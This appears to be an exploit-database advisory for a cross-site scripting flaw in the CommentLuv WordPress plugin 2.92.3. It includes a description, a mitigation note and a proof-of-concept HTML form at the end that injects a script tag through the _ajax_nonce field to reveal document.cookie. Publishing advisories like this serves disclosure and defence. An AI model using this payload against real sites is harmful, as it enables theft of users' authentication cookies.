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vendor:
CommentLuv Plugin
by:
SecurityFocus
7,5
CVSS
HIGH
Cross-Site Scripting
79
CWE
Product Name: CommentLuv Plugin
Affected Version From: 2.92.3
Affected Version To: 2.92.3
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
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Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: N/A
2013

CommentLuv Plugin for WordPress Cross-Site Scripting Vulnerability

The CommentLuv plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Mitigation:

Input validation should be used to ensure that untrusted data is not used to dynamically generate HTML or JavaScript code.
Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/57771/info

The CommentLuv plugin for WordPress is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. 

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks. 

CommentLuv versions 2.92.3 and prior are vulnerable.

<form action="http://www.example.com/wp-admin/admin-ajax.php" method="post" name="askform">
<input type="hidden" name="action" value="cl_ajax" />
<input type="hidden" name="do" value="fetch" />
<input type="hidden" name="url" value="1" />
<input type="hidden" name="_ajax_nonce" value='<script>alert(document.cookie);</script>'/>
<input type="submit" id="btn">
</form>